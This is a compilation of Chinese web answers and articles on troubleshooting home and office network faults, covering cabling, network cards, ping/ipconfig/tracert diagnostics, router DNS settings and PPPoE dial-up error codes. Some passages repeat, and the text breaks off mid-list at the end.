line命令可以认为是接口命令(show interface async)的扩展。show line命令输出的EIA信号及网络状态:noCTS noDSR DTR RTS:调制解调器未与异步接口连接。CTS noDSR DTR RTS:调制解调器与异步接口连接正常,但未连接远程调制解调器。CTS DSR DTR RTS:远程调制解调器拨号进入并建立连接。确定异步通信口故障一般可用下列步骤:检查电缆线路质量;检查调制解调器的参数设置;检查调制解调器的连接速度;检查rxspeed 和txspeed是否与调制解调器的配置匹配;通过show interface async 命令和 show line命令查看端口的通信状况;从show line命令的报告检查EIA状态显示;检查接口封装;检查信息包丢失及缓冲区丢失情况。

如您使用的是联通宽带，可能存在以下原因：1、宽带欠费或到期，需要及时缴费或续期。2、网线松动，需将网线的两端插紧。3、设备长时间使用造成，可把光猫、路由器等上网设备断电10-20秒，再接通电源重启。4、如上述方法不能恢复建议联系当地客服热线工作人员。

常用的网络故障排除方法包括：检查网络连接是否正常，包括检查网络线、路由器、网卡等设备是否连接正常。检查网络设置是否正确，包括检查IP地址、DNS服务器地址、网关地址等是否设置正确。清空浏览器缓存，确保浏览器能够从服务器获取最新的网页数据。重启网络设备，包括电脑、路由器、网卡等，以重置网络环境。更新网络驱动程序和设备固件，以解决网络

网络故障是指在使用计算机网络时，网络中出现了各种问题，使得网络无法正常工作的情况。这时需要进行网络故障排除，以便及时恢复网络的正常工作。下面是网络故障排除的基本步骤。了解网络基本结构首先，需要了解网络的基本结构，包括网络拓扑、网络设备和网络协议等方面。只有对网络结构有了充分的了解，才能更好地判断和解决网络故障。排除硬件问题在排除网络故障时，首先需要检查网络硬件设备，包括路由器、交换机、网卡、线缆等是否正常工作。例如，检查路由器是否开启，网卡是否安装正确等等。排除软件问题如果硬件问题已经排除，那么就需要检查网络软件，例如操作系统、网络协议、应用程序等是否正常工作。例如，检查网络配置文件是否正确，DNS是否正常等等。分析网络流量如果软件问题也已经排除，那么就需要分析网络流量，查看数据包是否能够正常传输。使用网络分析工具，如Wireshark等来检查网络流量，定位故障。协作排除问题在进行网络故障排除的过程中，需要与其他相关人员协作，包括网络管理员、运维人员等，共同解决问题。同时，需要与用户保持良好的沟通，及时反馈排查结果，以保证用户能够及时恢复使用。总之，网络故障排除是一个复杂的过程，需要综合运用技术、经验和分析能力。只有通过合理的排查和分析，才能快速准确地解决网络故障，保证网络的正常运行。

网络故障的排除方法「典型」 　　网络故障极为普遍,故障种类也十分繁杂。如果把网络故障的常见故障进行归类查找,那么无疑能够迅速而准确的查找故障根源。下面是我整理的网络故障的排除方法，希望对你有帮助! 　　一.硬件故障 　　硬件故障主要有网卡自身故障、网卡未正确安装、网卡故障、集线器故障等。 　　首先检查插上计算机I/O插槽上的网卡侧面的指示灯是否正常，网卡一般有两个指示灯“连接指示灯”和“信号传输指示灯”，正常情况下“连接指示灯”应一直亮着，而“信号传输指示灯”在信号传输时应不停闪烁。如“连接指示灯”不亮，应考虑连接故障，即网卡自身是否正常，安装是否正确，网线、集线器是否有故障。 　　我们先大致从网卡外表观察一下： 　　1.RJ45接头的问题 　　RJ45接头容易出故障，例如，双绞线的头没顶到RJ45接头顶端，绞线未按照标准脚位压入接头，甚至接头规格不符或者是内部的绞线断了。 　　镀金层厚度对接头品质的影响也是相当可观的，例如镀得太薄，那么网线经过三五次插拔之后，也许就把它磨掉了，接着被氧化，当然也容易发生断线。 　　2.接线故障或接触不良 　　一般可观察下列几个地方：双绞线颜色和RJ-45接头的脚位是否相符;线头是否顶到RJ-45接头顶端，若没有，该线的接触会较差.需再重新压按一次;观察RJ-45侧面。金属片是否已刺入绞线之中?若没有，极可能造成线路不通;观察双绞线外皮去掉的地方，是否使用剥线工具时切断了绞线(绞线内铜导线已断，但皮未断)。 　　如果还不能发现问题，那么我们可用替换法排除网线和集线器故障，即用通信正常的电脑的网线来连接故障机，如能正常通信，显然是网线或集线器的故障，再转换集线器端口来区分到底是网线还是集线器的故障，许多时候集线器的指示灯也能提示是否是集线器故障，正常对应端口的灯应亮着。 　　二.软件故障 　　如果网卡的信号传输指示灯不亮，这一般是由网络的软件故障引起的。 　　1.检查网卡设置 　　普通网卡的驱动程序磁盘大多附有测试和设置网卡参数的程序。分别查验网卡设置的接头类型、IRQ、I/O端口地址等参数，若有冲突.只要重新设置(有些必须调整跳线)，一般都能使网络恢复正常。 　　另外检查一下网卡驱动程序是否正常安装。不同网卡使用的驱动程序亦不尽相同，假如你选错了，就有可能发生不兼容的现象。修复的方法亦不难，只要找到正确的驱动程序.重新安装即可。 　　最后我们简单检验一下网卡设置故障是否排除。打开“控制面板-系统-设备管理器”，选中我们安装的网络适配器，点击“属性”按钮，在“常规”文件夹中，可以查看网卡是否在正常工作。 　　2.检查网络协议 　　打开”控制面板-网络-配置”选项，查看已安装的网络协议，必须配置以下各项：NetBEUI协议和TCP/IP协议，Microsoft友好登录，拨号网络适配器。如果以上各项都存在，重点检查TCP/IP是否设置正确。在TCP/IP属性中要确保每一台电脑都有唯一的IP地址，将子网掩码统一设置为255.255.255.0，网关要设为代理服务器的IP地址(如192.168.0.1)。另外必须注意主机名在局域网内也应该是唯一的。最后，我们用ping命令来检验一下网卡能否正常工作。 　　(1).ping 127.0.0.1 　　127.0.0.1是本地循环地址.如果该地址无法ping通，则表明本机TCP/IP协议不能正常工作;如果ping通了该地址，证明TCP/IP协议正常，则进入下一个步骤继续诊断。 　　(2).ping本机的IP地址 　　使用ipconfig命令可以查看本机的IP地址，ping该IP地址，如果ping通，表明网络适配器(网卡或者Modem)工作正常，则需要进入下一个步骤继续检查;反之则是网络适配器出现故障。 　　(3).ping本地网关 　　本地网关的IP地址是已知的IP地址。ping本地网关的IP地址，ping不通则表明网络线路出现故障。如果网络中还包含有路由器，还可以ping路由器在本网段端口的IP地址，不通则此段线路有问题，通则再ping路由器在目标计算机所在同段的端口IP地址.不通则是路由出现故障。如果通，最后再ping目的机的IP地址。 　　(4).ping网址 　　如果要检测的是一个带DNS服务的网络(比如Internet)，上一步ping通了目标计算机的IP地址后。仍然无法连接到该机，则可以ping该机的网络名，比如：pingwww.sohu.com.cn，正常情况下会出现该网址所指向的IP地址，这表明本机的DNS设置正确而且DNS服务器工作正常，反之就可能是其中之一出现了故障。 　　常用DOS命令 　　1.ping命令 　　ping命令是用于确定本地主机是否能与另一台主机成功交换数据包。根据返回的.信息，可以推断TCP/IP参数(因为现在网络一般都是通过TCP/IP协议来传送数据的)是否设置正确，以及运行是否正常、网络是否通畅等。但ping成功并不代表TCP/IP配置一定正确，你有可能要执行大量的本地主机与远程主机的数据包交换，才能确信TCP/IP配置无误。 　　ping命令可以在MS-DOS窗口下运行，执行格式如下： 　　ping 网址 　　例如：ping 127.0.0.1 　　2.ipconfig命令 　　ipconfig这个命令，通常只被用户用来查询本地的IP地址、子网掩码、默认网关等信息。ipconfig、ping是我们在诊断网络故障或查询网络数据时常用的命令，它们的使用也很简单，即使你不知道它们的应用格式，也可以通过“ipconfig/?”或“ping/?”这种标准的DOS命令帮助方式来获取相关信息。 　　3.tracert命令 　　tracert命令能够追踪你访问网络中某个节点时所走的路径.也可以用来分析网络和排查网络故障。举个例，我想知道自己访问sohu.com.cn时走的是怎样一条路线，就可以在DOS状态下输入tracert sohu.com.cn，执行后经过一段时间等待，系统会反馈出很多IP地址。最上方的IP地址是本地的网关，而最后面一个地址就是sohu.com.cn网站的IP地址了。换句话说，从上至下，便是我们访问sohu.com.cn所走过的“足迹”。 　　4.netstat命令 　　netstat命令是一个监控TCP/IP网络的实用的工具，它可以显示实际的网络连接以及每一个网络接口设备的状态信息。Netstat命令的参数不是很多，我们常用Netstat -r来监视网络的连接状态，非常管用。 ;

有可能是硬盘出了问题或是病毒！！！快叫人看看~~~~

路由器导致网络故障问题 　　路由器的设置不当而导致的网络不能正常运行是网络故障中最常见的一种故障，路由器的设置不当有线路两端路由器的参数不匹配、参数错误或路由掩码设置错误等。下面是我整理的路由器导致网络故障问题，希望对你有帮助! 　　一、无法进行拨号 　　故障现象：不能进行正常的拨号程序。 　　故障原因：主要问题是出在路由器的地址设置方面。 　　解决方法：打开Web浏览器，在地址栏中输入路由器的"管理地址，如192.168.1.1，此时系统会要求输入登录密码，登陆后进入管理界面，选择菜单“网络参数”下的“WAN口设置选项，在右边主窗口中，“WAN口连接类型”选择“PPPoE”，输入“上网账号”及“上网口令”，点击连接按钮即可。 　　二、无法浏览网页 　　故障现象：网页以不能正常打开，但是QQ之类的程序却可以正常运行。 　　故障原因：这种情况是路由器上的DNS解析问题，如果将网关设置成DNS地址，这是DNS Proxy，并非真实的DNS地址，就可能会导致地址解析出错。 　　解决方法：打开路由器设置界面，找到“网络参数”中的“WAN口参数”的字段，然后在下面手动设置DNS服务器地址。另外，在“DHCP服务”设置项，也需要手动设置DNS服务器和备用的DNS服务器地址，该地址需要从ISP供应商那里获取。 　　三、无法登录路由器管理页面 　　故障现象：想对企业宽带路由器作共享上网的有关设置，但却进不了管理界面。 　　故障原因：主要是之前登陆时所创建的连接有误。 　　解决方法：如果以前登录过路由器管理界面，现在出现故障应该先检查宽带与路由器之间的连线问题，并关闭防火墙以及监控杀毒的软件，再将网关地址设为路由器的默认IP地址。一般宽带路由器提供的都是Web管理方式，因此打开“Internet选项”对话框，在“连接”选项中，如果曾经创建过连接则勾选 “从不进行拨号连接”选项，点击“局域网设置”按钮，将已勾选的选项全部取消选中即可。 ;

判断网络故障的原因及解决方案 　　随着我国教育信息化的深入，各高等院校的网络建设发展日趋完善。经过十余年的建设，高校校园网覆盖面迅速扩大，建设水平逐步提高，应用面不断扩展，如今的校园网已和广大师生的工作、学习和生活紧密联系在一起。下面是我整理的关于判断网络故障的命令及方法，欢迎大家参考! 　　1、整个网络奇怪的不通 　　在实际的故障解决过程中，对于一些较大型的网络还容易出现整个网络不通的奇怪故障。说它奇怪，是因为所有的现象看起来都正常，指示灯、配置都经过检查了，任何问题都没有，但网络就是不通;而且更另人叫绝的是在不通的过程中偶尔还能有一两台计算机能够间隙性的访问。其实这就是典型的网络风暴现象，多发生在一些大中型网络中。既网络中存在着很多病毒，然后彼此之间进行流窜相互感染，由于网络中的计算机比较多，这样数据的传输量很大，直接就占领了端口，使正常的数据也无法传输。对于这种由病毒引发的网络风暴解决的最直接的办法就是找出风暴的源头，这时只需要在网络中的一台计算机上安装一个防火墙，例如金山网镖，启用防火墙后你就会发现防火墙不停的报警，打开后可以在“安全状态”标签的安全日志中看到防火墙拦截来自同一个IP地址的病毒攻击，这时你只要根据IP地址找出是哪一台计算机，将其与网络断开进行病毒查杀，一般即可解决问题。 　　小提示：作为网络管理员，即使在正常情况下也有必要安装金山网镖这样的防火墙，找出网络中流串的`病毒源头，作出预防，避免危害进一步的扩大。 　　但是要避免网络风暴最佳的办法还是划分子网和安装网络版杀毒软件。划分子网，这样每个子网内的计算机比较少，这样病毒即使相互传播，产生的数据量也不大，不会危及整个网络，而安装网络版杀毒软件则可以保持整个网络高速畅通的运转。 　　2、组策略导致网络不通 　　这种故障主要存在于Windows 2000/XP/2003系统之间，是因为组策略设置了禁止从网络访问。因此我们可以在“运行”窗口中输入“Gpedit.msc”并回车，在打开的组策略窗口中依次选择“本地计算机策略—计算机配置—Windows设置—安全设置—本地策略—用户权利指派”，然后双击右侧的“拒绝从网络访问这台计算机”，在打开的窗口中将里面的帐户列表选中并删除即可。 　　3、信号指示灯不亮 　　如果信号指示灯不亮，那么则说明没有信号进行传输，但可以肯定的是线路之间是正常的。那么不防使用替换法将连接计算机的网线换到另外一台计算机上试试，或者使用测试仪检查是否有信号传送，如果有信号传送那么则是本地网卡的问题。在实际的工作经验证明网卡导致没有信息传送是比较普遍的故障。对此可以首先检查一下网卡安装是否正常、IP设置是否错误，可以尝试Ping一下本机的IP地址，如果能够Ping通则说明网卡没有太大问题。如果不通，则可以尝试重新安装网卡驱动来解决，另外对于一些使用了集成网卡或质量不高的网卡，容易出现不稳定的现象，即所有设置都正确，但网络却不通。对此可以将网卡禁用，然后再重新启用的方法，也会起到意想不到的效果。 　　4、网上邻居无法访问 　　网络是畅通的，与Interne或局域网内部的连接全部正常，但是通过网上邻居访问局域网其它计算机时却无法访问的症状。造成这种故障的原因比较多，笔者在这里可以给大家提供一个简单的解决办法。即直接在“运行”窗口中按照“//计算机名(IP地址)/共享名”的格式来访问网内其它计算机上的共享文件夹，这样不仅可以绕开这个故障，而且也比通过网上邻居访问要更加快捷。 　　5、防火墙导致网络不通 　　在局域网中为了保障安全，很多朋友都安装了一些防火墙。这样很容易造成一些“假”故障，例如Ping不通但是却可以访问对方的计算机，不能够上网却可以使用QQ等。判断是否是防火墙导致的故障很简单，你只需要将防火墙暂时关闭，然后再检查故障是否存在。而出现这种故障的原因也很简单，例如用户初次使用IE访问某个网站时，防火墙会询问是否允许该程序访问网络，一些用户因为不小心点了不允许这样以后都会延用这样的设置，自然导致网络不通了。比较彻底的解决办法是在防火墙中去除这个限制即可。 　　6、降速使用 　　很多网卡都是使用10M/100M自适应网卡，虽然网卡的默认设置是“自适应”，但是受交换机速度或网线的制作方法影响，可能出现一些不匹配的情况。这个时候不防试试把网卡速度直接设为10M。其方法是右击“本地连接”打开其属性窗口，在“常规”选项卡中单击“配置”按钮，将打开的网卡属性窗口切换到“高级”选项卡，在“属性”列表中选中“Link Speed/Duplex Mode”，在右侧的“值”下拉菜单中选择“10 Full Mode”，依次单击“确定”按钮保存设置。 　　7、连接指示灯不亮 　　观察网卡后侧RJ45一边有两个指示灯。它们分别为连接状态指示灯和信号传输指示灯，其中正常状态下连接状态指示灯呈绿色并且长亮，信号指示灯呈红色，正常应该不停的闪烁。如果我们发现连接指示灯，也就是绿灯不亮，那么表示网卡连接到HUB或交换机之间的连接有故障。对此可以使用测试仪进行分段排除，如果从交换机到网卡之间是通过多个模块互连的，那么可以使用二分法进行快速定位。而一般情况下这种故障发生多半是网线没有接牢、使用了劣质水晶头等原因。而且故障点大多是连接的两端有问题，例如交换机的端口处和连接计算机的网卡处的接头，借助测试仪可以很轻松的就以找出故障进行解决。 　　8、配置错误导致网络不通 　　这种故障的外部表现多是网络指示灯正常，也能够Ping通，有时可以访问内网资源，但无法访问外网资源，有时还会表现出访问网站时只能通过IP地址，而不能通过域名访问。这就是典型的网络配置不当所产生的，即没有设置正确的网卡和DNS。如果网关设置错误，那么该台计算机只能在局域网内部访问，如果DNS设置错误，那么访问外部网站时不能进行解析。对此我们只需要打开本地连接的属性窗口，打开“Internet协议(TCP/IP)”属性窗口，然后设置正确的默认网关和DNS服务器地址即可。 　　网络不通是一个复杂多变的故障，但只要我们掌握其本质，了解网络构建的步骤，熟悉故障的易发点，这样就可以做到以不变应万变，轻松解决网络不通的问题。 ;

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常见的网络故障解决方法 　　电脑速度慢或开机后越来越慢，鼠标长时间无反应或极慢，上网后电脑无故重启等等的网络故障小问题，通常自己就能解决，下面跟着我来看看常见的网络故障解决方法。 　　一. 常见宽带故障处理流程 　　现象1： 上网速度慢 　　1、用户电脑使用不正常 　　电脑速度慢或开机后越来越慢，鼠标长时间无反应或极慢，上网后电脑无故重启。这可能是电脑感染病毒或系统有问题，建议用杀毒软件杀毒，杀毒后系统还不正常，需请专业人员维修 　　2、移动测速网站测速 　　可登录测速平台http://gd.10086.cn/internet 安装好插件点击测试哦 　　3、其他影响上网速率的因素 　　当访问某个网站出现网速很慢时，可换几个常访问的其他网站试试，如果速度正常，说明该网站变慢是自身的问题 　　3.1如访问国外网站会比较慢 　　3.2无线路由器没有设置密码，被别人盗用 　　3.3是否是多机上网或链接数过多 　　现象2： 网页打不开 　　1、部分网页打不开 　　咨询身边朋友或者用其他电脑测试这部分网页是否打开 　　可打开：检查防火墙或者IE浏览器设置 　　不可打开： 建议稍后再上网站再次尝试打开，若打不开请技术人员现场解决 　　2、全部网页打不开 　　检查电脑DNS设置，按网上邻居点右键->属性->本地连接点右键->TCP/IP协议查看DNS设备情况。正确DNS地址设置是DNS为自动获取，若不行请联系技术人员现场解决 　　现象3： 上网经常断线 　　1、 查看是否是多机共享上网 　　确认是单机上网还是多机共享上网，若是多机共享上网，用单机拨号上网检测是否掉线。如单机上网也经常掉线，技术人员到现场解决 　　2、防火墙，IE浏览器设置不对 　　建议停止运行防火墙、共享上网的代理服务器软件、上网加速软件等，再上网测试，看速度是否恢复正常。如上网不稳定，可以尝试先关闭防火墙，测试稳定与否，在进行相应的设置。另外防火墙引起或IE浏览器出现故障，也会导致可以正常连接，但不能打开网页 　　现象4： 不能上网(网络中断) 　　1、确认光猫、路由器是否有电 　　2、是否安装家用路由器 　　有：去掉路由器，电脑直接连接光猫拨号，如能上网说明是由器问题，预处理完毕 　　无：路由器，则继续预处理。电脑直接连接光猫拨号，根据拨号错误码进行预处理，转-> 　　U0001f338U0001f338U0001f338U0001f338 　　二、家客拨号故障错误代码一览及常规解决办法 　　1、电脑网线连接是否正常 　　不正常：让用户拔下网线后重新连接。 　　正常：查看其它故障现象。 　　1.1账号密码输入错误，将上网密码也重新输入一遍,然后点一下连接，看是否能够正常上网。 　　1.2账号密码输入正确，查看其它故障现象。 　　2.其它常见问题： 　　2.1电脑右下角提示“本地连接受限制或无连接” 　　拨号前存在“本地连接受限制或无连接”，但并不影响正常拨号连接，您可以正常拨号 　　2.2数据流量一大就死机 　　出现此类现象，一般是网卡的品质或者兼容性不好，特别是老式10M网卡，对PPPOE存在兼容性问题，并且速度较慢，造成冲突最终线路死锁甚至死机，建议客户使用10M/100M双速自适应网卡，在看是否会出现此现象 　　U0001f338U0001f338U0001f338U0001f338 　　三、宽带拨号错误代码及解决办法 　　1、错误691客户密码错 　　出现691错误提示有可能是以下几种原因，请确认： 　　1.1输入的上网帐号或密码填写错误导致，首先找出客户名和密码，核对，重新再输入。如下图显示，客户名和密码都需要区分大小写，再点一下密码旁边的白色小框，将上网密码也重新输入,然后点一下连接，看是否能够正常上网。 　　1.2客户的宽带欠费暂停。按照方法1.1还是出现同样的691的.提示，有可能是上网帐号欠费所导致，客户需要检查客户的帐户里是否有足够的费用，如果金额不足可以到营业厅进行续费 　　2、错误678：远程计算机没有响应 　　错误提示如图所示： 　　2.1把电脑上的网线重新插拔再试 　　2.2重启电脑，关掉防火墙再试 　　2.3查看网卡状态：若网卡异常，则卸载网卡驱动程序，然后重新安装;若网卡正常，则卸载拨号程序，然后重新安装 　　2.4首次使用则需创建拨号连接 　　注：由于操作系统不同，同一错误在各操作系统中报错不一致。同一问题，XP系统报错678，Vista系统报错815，Win7系统报错651。 　　3、错误769找不到指定目标 　　错误提示如图所示： 　　769故障一般都是出现在xp操作系统中，是由于电脑里本地连接禁用了或网卡驱动没装好3.1首先在电脑桌面上找到一个图标，按鼠标“右键”，选择属性，打开“网络连接”窗口，如下图所示： 　　现在“本地连接”是灰色的，并且下面已经显示禁用两字。请按鼠标“右键”选择“启用”，系统就会自动启用本地连接。当本地连接启动好后，可重新拨号试试就能上网，如果在桌面上没有“网上邻居”可百度查一下 　　4、错误734: PPP连接控制协议中止 　　解决方法: 734错误常见于使用Windows xp自带拨号软件上网时出现的一个故障提示，可重新建立拨号连接 　　5、错误619:指定的端口未连接 　　请先重新启动电脑，并重新设置PPPOE拨号程序再试，619经常是多次691错误后出现的，可参见691错误代码处理方式进行 　　6、错误718，等待远程计算机，有效响应的连接超时 　　718错误一般出现在服务器故障的时候，表示已经成功发送验证信息，但是无法接收到服务器返回的响应信息，线路连接正常。建议稍后再试，除了718错误之外是否有提示691错误，如果有，可以确认输入的客户名或密码是否正确 　　7、错误606 :拨号网络网络不能连接所需的设备端口 　　原因：PPPOE 拨号软件没有完全和正确的安装，连接线故障 　　解决：重新建立PPPOE拨号设置，检查网线 　　8、错误645:网卡没有正确响应 　　原因：网卡故障，或者网卡驱动程序故障 　　解决：检查网卡，重新安装网卡驱动程序;更换新网卡 　　9、错误650 :远程计算机没有响应，断开连接 　　原因： ISP 服务器故障，网卡故障，非正常关机造成网络协议出错 　　解决：检查网卡，删除所有网络组件重新安装网络 　　10、错误720:拨号网络无法协调网络中服务器的协议设置 　　原因：ISP 服务器故障，非正常关机造成网络协议出错 　　解决：删除所有网络组件重新安装网络 　　11、错误617 :拨号网络网络连接的设备已经断开 　　原因：PPPOE 拨号软件没有完全和正确的安装，ISP 服务器故障，连接线故障 　　解决：重新建立PPPOE拨号设置，检查网线 ;

家庭网络故障就是网络有问题，不能正常观看。具体原因及解决方案如下所示：电视机的网络设置有问题导致的；可以进入网络设置界面，重新设置连接家里的WiFi信号试试。路由器设置有问题或者路由器故障导致的，可以重启一下路由器来解决；如果是路由器硬件故障，则需要联系售后进行检修或者更换路由器使用才能解决。网络服务提供商的网络线路、服务器是否出现中断、故障导致路由器也无法连接网络，这种情况下电视机也必然断网，需要联系网络服务提供商先解决网络传输问题。也可能是电视机系统问题导致网络异常，可以重启一下电视机来解决，必要时可以进入系统设置界面，将电视机的系统还原为出厂设置状态或升级到最新版本来解决。以上问题排查后电视机仍然无法正常联网，则可能是电视机的网络模块故障、天线故障、内部电路或者主板及其他零部件故障等，需要联系电视机的售后服务进行全面检测和维修才能解决。

查看ip地址是分析网络故障的第一步，还需要更多的后续操作才可以诊断故障原因的。1. 首先要看ipconfig在dos窗口下，输入ipconfig，可以查看到本机“手动设置”或者“自动获取”的IP地址。这里有几种可能性：IP地址和网关地址都正确。（不存在问题，可以进入下一步）IP地址是0.0.0.0，或者169.254.255.x。（没有获取到IP，说明DHCP存在问题）不正确的IP地址，比如：局域网网段是192.168.1.x，但是获取到的IP地址却是192.168.0.x。（说明有私接的DHCP服务，导致DHCP冲突）2. ping内网网关断网时，首先要判断内网是否存在问题。一般通过ping内网网关就可以判断出来。内网的丢包率应该为0，有线ping值一般在1ms以内，无线ping值1ms-20ms之间。如果存在丢包或者ping值很高，那么问题就在内网。需要排查内网网线、环路、交换机等设备问题。3. ping公网IP内网问题排除后，再ping公网IP地址，如果不通，那问题就出在路由器网关上面。如下图，114.114.114.114是一个常用的DNS服务器，由于114在公网上，ping值会比内网高一些，一般在1ms-50ms之间。114能ping通且ping值正常无丢包，说明外网正常，否则外网异常，需要排查路由器和wan口线路问题4. ping公网域名如果外网可以ping通，但是仍然上不了网，那一般就是dns的问题了。通过ping域名就可以判断。5. 网络健康度检测插件在WFilter（或者WSG网关）的“插件管理“中，有一个网络健康度检测插件，可以自动进行ping、arp、tracert等检测，从而一键检测出绝大部分的网络问题：IP地址冲突、DHCP冲突、ARP攻击检测、环路和广播风暴检测、可疑主机检测等。

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电脑网络故障解决方法 　　在使用网络的过程中我们会遇到各种问题，下面是我整理的电脑网络故障解决方法，希望对你有帮助! 　　故障1：本地连接受限制或无连接 　　很多用户发现，当每次进入WindowsXP系统时，电脑屏幕就会弹出一个提示本地连接受限制或无连接，并且网络连接上有个黄色的感叹号。 　　如果是内网，则检查一下内网服务器是否分配了IP给电脑，或者是否要手动指定IP。如果是ADSL拨号上网，那么在网卡的网络设置是自动获得IP地址的.情况下，如果获取不到IP就会这样。因为网络服务商的网络服务器只会分配一个IP给ADSL的虚拟网卡，不会分配给那个网卡一个IP。 　　解决方法： 　　1、在系统托盘上鼠标右键单击该网卡; 　　2、单击状态属性按钮打开本地连接属性对话框; 　　3、在常规 选项卡上去掉此连接被限制或无连接时通知我选项前面的 　　4、接着在此连接使用下列项目中双击 Internet协议(TCP/IP)，选中使用下面的IP地址，输入如192.168.1.1(IP地址)、 255.255.255.0(子网掩码)，手动指定IP，以加快WindowsXP的启动速度。 　　故障2：无法建立正确的连接 　　在WindowsXP下建立网络连接时，提示连接错误，这类故障我们一般从登录密码错误、网卡的软、硬件是否有问题来考虑。 　　解决方法： 　　1、首先启动IE浏览器，单击工具/Internet选项 　　2、切换到连接选项卡，输入密码即完成。 　　如果故障依旧，再查看网卡的软、硬件。 　　1、右击桌面我的电脑，选择属性/硬件 　　2、单击设备管理器，在打开的界面查看网卡是否有黄色的感叹号，如果有则重装网卡驱动。 　　如果故障仍然不能解决，则将网卡驱动卸载后重装安装。安装完成之后，双击该连接，在属性中设置 Internet协议(TCP/IP)的IP地址和子网掩码。 ;

网络故障共分为两类：1、物理故障：物理故障指的是设备或线路损坏、插头松动、线路受到严重电磁干扰等情况。2、逻辑故障：逻辑故障中最常见的情况就是配置错误，是因为网络设备的配置原因而导致的网络异常或故障。扩展资料：典型案例：1、不能访问服务器要先测试一下这一故障是否只影响一台工作站，这可以通过其他工作站访问服务器来证实。如果有类似故障的工作站出现在同一网段或连接在同一交换机上，那么就要分析这一网段子网掩码是否设置正确，交换机是否正常工作。除此之外，还要看一下服务器是否禁止了这一网段工作站的服务。2、传输上百兆数据时出现“网络资源不足”的提示按常规，网络故障一般不排除以下几点：网卡有问题、水晶头做得不规范、网线有问题、网卡驱动或网络协议有问题等。但是根据故障现象来看，以上猜测都可以排除，因为任何一个地方存在问题，就不可能在微机之间进行数据传输，从而可以判断问题应该出在环境因素上。由于大量的数据传输需要频繁的数据读取，这就要有一个相对平稳的传输环境，而网卡附近有干扰时，这种平稳的环境就会被破坏。一般要确保网卡不插在离显卡很近的插槽上，现在的显卡一般都带有风扇，而显卡风扇将影响到网卡的工作，尤其是显卡在频繁工作时，影响将更加明显。把网卡拔下来，插到离显卡一个较远的插槽上，即可解决大量数据传输时出现的问题。参考资料：百度百科-网络故障

网络故障主要有以下几个分类：1、逻辑故障：逻辑故障中最常见的情况有两类：一类是配置错误，另一类是一些重要进程或端口被关闭。2、配置故障配置错误也是导致故障发生的重要原因之一。配置故障主要表现在不能实现网络所提供的各种服务，如不能接入Internet，不能访问某种代理服务器等。3、协议故障：计算机和网络设备之间的通信是靠协议来实现的，协议在网络中扮演着非常重要的角色。协议故障通常表现为计算机在网上邻居中能看到自己和其他计算机，但无法在局域网络中浏览web、收发email。4、网络管理员差错：网络管理员差错占整个网络故障的5%以上，主要发生在网络层和传输层，是由于安装没有完全遵守操作指南，或者网络管理员对某个过程没有给予足够的重视造成的。5、海量存储问题：数据处理故障的最主要原因是硬盘问题。据有关报道，大约有超过26%的系统失效都归结到海量存储的介质故障上。扩展资料：网络故障的排查：按常规，网络故障一般不排除以下几点：网卡有问题、水晶头做得不规范、网线有问题、网卡驱动或网络协议有问题等。但是根据故障现象来看，以上猜测都可以排除，因为任何一个地方存在问题，就不可能在微机之间进行数据传输，从而可以判断问题应该出在环境因素上。由于大量的数据传输需要频繁的数据读取，这就要有一个相对平稳的传输环境，而网卡附近有干扰时，这种平稳的环境就会被破坏。一般要确保网卡不插在离显卡很近的插槽上，现在的显卡一般都带有风扇，而显卡风扇将影响到网卡的工作，尤其是显卡在频繁工作时，影响将更加明显。把网卡拔下来，插到离显卡一个较远的插槽上，即可解决大量数据传输时出现的问题。参考资料来源：百度百科-网络故障

一般来说建议拨打客服电话进行询问，会有专业人士上门解决

网络故障主要有以下几个分类：1、逻辑故障：逻辑故障中最常见的情况有两类：一类是配置错误，另一类是一些重要进程或端口被关闭。2、配置故障配置错误也是导致故障发生的重要原因之一。配置故障主要表现在不能实现网络所提供的各种服务，如不能接入Internet，不能访问某种代理服务器等。3、协议故障：计算机和网络设备之间的通信是靠协议来实现的，协议在网络中扮演着非常重要的角色。协议故障通常表现为计算机在网上邻居中能看到自己和其他计算机，但无法在局域网络中浏览web、收发email。4、网络管理员差错：网络管理员差错占整个网络故障的5%以上，主要发生在网络层和传输层，是由于安装没有完全遵守操作指南，或者网络管理员对某个过程没有给予足够的重视造成的。5、海量存储问题：数据处理故障的最主要原因是硬盘问题。据有关报道，大约有超过26%的系统失效都归结到海量存储的介质故障上。/iknow-pic.cdn.bcebos.com/2fdda3cc7cd98d100c9f66db2f3fb80e7aec9094"target="_blank"title="点击查看大图"class="ikqb_img_alink">/iknow-pic.cdn.bcebos.com/2fdda3cc7cd98d100c9f66db2f3fb80e7aec9094?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto"esrc="https://iknow-pic.cdn.bcebos.com/2fdda3cc7cd98d100c9f66db2f3fb80e7aec9094"/>扩展资料：网络故障的排查：按常规，网络故障一般不排除以下几点：网卡有问题、水晶头做得不规范、网线有问题、网卡驱动或网络协议有问题等。但是根据故障现象来看，以上猜测都可以排除，因为任何一个地方存在问题，就不可能在微机之间进行数据传输，从而可以判断问题应该出在环境因素上。由于大量的数据传输需要频繁的数据读取，这就要有一个相对平稳的传输环境，而网卡附近有干扰时，这种平稳的环境就会被破坏。一般要确保网卡不插在离显卡很近的插槽上，现在的显卡一般都带有风扇，而显卡风扇将影响到网卡的工作，尤其是显卡在频繁工作时，影响将更加明显。把网卡拔下来，插到离显卡一个较远的插槽上，即可解决大量数据传输时出现的问题。参考资料来源：/baike.baidu.com/item/网络故障/1391028?fr=aladdin"target="_blank"title="百度百科-网络故障">百度百科-网络故障

有如下：1、故障现象：网络适配器（网卡）设置与计算机资源有冲突。分析、排除：通过调整网卡资源中的IRQ和I/O值来避开与计算机其它资源的冲突。有些情况还需要通过设置主板的跳线来调整与其它资源的冲突。2、故障现象：网吧局域网中其他客户机在“网上邻居”上都能互相看见，而只有某一台计算机谁也看不见它，它也看不见别的计算机。(前提：该网吧的局域网是通过HUB或交换机连接成星型网络结构）。分析、排除：检查这台计算机系统工作是否正常；检查这台计算机的网络配置；检查这台计算机的网卡是否正常工作；检查这台计算机上的网卡设置与其他资源是否有冲突；检查网线是否断开；检查网线接头接触是否正常。3、故障现象：网吧局域网中有两个网段，其中一个网网段的所有计算机都不能上因特网。（前提：该网吧的局域网通过两个HUB或交换机连接着两个的网段）。分析、排除：两个网段的干线断了或干线两端的接头接处不良。检查服务器中对该网段的设置项。4、故障现象：网吧局域网中所有的计算机在“网上邻居”上都能互相看见。（前提：该网吧的局域网是通过HUB或交换机连接成星型网络结构）。分析、排除：检查HUB或交换机工作是否正常。5、故